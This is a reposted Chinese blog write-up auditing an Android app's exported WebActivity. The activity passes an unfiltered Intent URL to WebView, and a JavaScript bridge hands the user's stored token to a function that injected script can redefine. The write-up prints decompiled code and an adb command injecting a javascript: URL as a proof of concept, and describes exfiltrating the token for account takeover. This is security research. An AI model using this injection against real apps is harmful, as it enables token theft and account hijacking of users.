【代码审计】客户端代码执行之WebViewJavaScript桥接劫持token账号接管

admin 2026-04-02 05:36:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了Android客户端WebViewJavaScript桥接劫持漏洞。WebActivity组件导出且未过滤URL参数,允许攻击者通过Intent注入恶意JavaScript代码。由于应用原生层会将敏感Token传递给JS函数,攻击者重定义该函数即可窃取Token。结合社区发帖功能,最终实现了点击即账号接管,并给出了详细的复现步骤与PoC。 综合评分: 91 文章分类: 代码审计,漏洞分析,移动安全,漏洞POC


cover_image

【代码审计】客户端代码执行之WebView JavaScript桥接劫持token账号接管

原创

挖个洞先 挖个洞先

挖个洞先

2026年3月28日 19:12 北京

 道也梦中来,青居心上请。 觉时花未央,剑罢孤楼影。——《我有一身被动技》 

01

操作步骤

1、WebActivity可导出

<activity&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;android:name="com.unitree.community.ui.web.WebActivity"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;android:exported="true"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;android:configChanges="screenSize|orientation|keyboardHidden"/>

2、查看com.xxx.web.WebActivity,入口initView(),传参没有过滤直接赋值给this.webUrl

如果是app://,走内部业务跳转,

否则调用createAgentWeb().ready().go(this.webUrl);

String stringExtra = getIntent().getStringExtra(ProviderConstant.WEB_URL);this.webUrl = stringExtra;.setOpenOtherPageWays(DefaultWebClient.OpenOtherPageWays.ASK).interceptUnkownUrl().createAgentWeb().ready().go(this.webUrl);

3、从go()一步步跟到UrlLoaderImpl()

UrlLoaderImpl(WebView webView, HttpHeaders httpHeaders) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.mHandler =&nbsp;null;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.mWebView = webView;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.mHttpHeaders = httpHeaders;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(httpHeaders ==&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.mHttpHeaders = HttpHeaders.create();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.mHandler = new Handler(Looper.getMainLooper());&nbsp; &nbsp; }

4、str没有过滤,最终传参到WebView.loadUrl(str)直接执行

if&nbsp;(map&nbsp;== null ||&nbsp;map.isEmpty()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.mWebView.loadUrl(str);&nbsp; &nbsp; &nbsp; &nbsp; }

5、继续分析,发现注册了AndroidInterface作为JavaScript桥接

JsInterfaceHolder&nbsp;jsInterfaceHolder&nbsp;=&nbsp;agentWeb2.getJsInterfaceHolder();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;AgentWeb&nbsp;agentWeb3&nbsp;=&nbsp;this.mAgentWeb;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(agentWeb3 ==&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Intrinsics.throwUninitializedPropertyAccessException("mAgentWeb");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; agentWeb3 =&nbsp;null;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; jsInterfaceHolder.addJavaObject(DispatchConstants.ANDROID,&nbsp;new&nbsp;AndroidInterface(agentWeb3,&nbsp;this));

6、进到AndroidInterface类,发现callNativeFunc方法

callNativeFunc是Android原生提供给WebView,可以被JavaScript调用的方法

public&nbsp;void&nbsp;callNativeFunc(final&nbsp;String&nbsp;str) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.deliver.post(new&nbsp;Runnable() {&nbsp;// from class: com.xxx.web.AndroidInterface.1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@Override&nbsp;// java.lang.Runnable&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;run() {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Log.i("Info",&nbsp;"main Thread:"&nbsp;+&nbsp;Thread.currentThread());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Toast.makeText(StubApp.getOrigApplicationContext(AndroidInterface.this.context.getApplicationContext()),&nbsp;""&nbsp;+ str,&nbsp;1).show();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; });&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Log.i("Info",&nbsp;"Thread:"&nbsp;+&nbsp;Thread.currentThread());&nbsp; &nbsp; }

7、agentWeb.getJsAccessEntrace()分析

agentWeb,AgentWeb实例,封装了WebView

.getJsAccessEntrace(),获取JavaScript访问入口对象,用于原生代码调用JavaScript

quickCallJs()第一个参数callNativeFunc(),第二个参数接收函数返回值

第三个参数CommonUtilsKt.getToken()获取token

agentWeb.getJsAccessEntrace().quickCallJs("callNativeFunc",&nbsp;new&nbsp;ValueCallback() {&nbsp;// from class:&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@Override&nbsp;// android.webkit.ValueCallback&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;final&nbsp;void&nbsp;onReceiveValue(Object&nbsp;obj) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;WebActivity.m122initView$lambda0((String) obj);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; },&nbsp;CommonUtilsKt.getToken());

8、进到getToken(),获取MMKV默认实例,从存储中读取key为”token”的字符串值

public&nbsp;static&nbsp;final&nbsp;String&nbsp;getToken() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;strDecodeString =&nbsp;MMKV.defaultMMKV().decodeString("token");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;strDecodeString ==&nbsp;null&nbsp;?&nbsp;""&nbsp;: strDecodeString;&nbsp; &nbsp; }

9、构造poc,当原生代码调用callNativeFunc(token)时,实际上执行的是alert(token)

adb shell am start -W -n com.xxx/com.xxx.web.WebActivity --es web_url&nbsp;"javascript:window.callNativeFunc=alert"

10、成功获取token,由于存在社区功能,可以发帖,fetch到远程服务器上,1click账号接管

11、与实际请求token进行对比一致


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:挖个洞先 挖个洞先 挖个洞先《【代码审计】客户端代码执行之WebView JavaScript桥接劫持token账号接管》

深澜计费管理系统day合集 网络安全文章

深澜计费管理系统day合集

文章总结: 本文总结了深澜计费管理系统的多个安全漏洞,该系统在高校广泛使用。主要发现包括默认弱口令、后台任意文件读取、未授权用户信息泄露及存储型XSS漏洞,并提
评论:0   参与:  0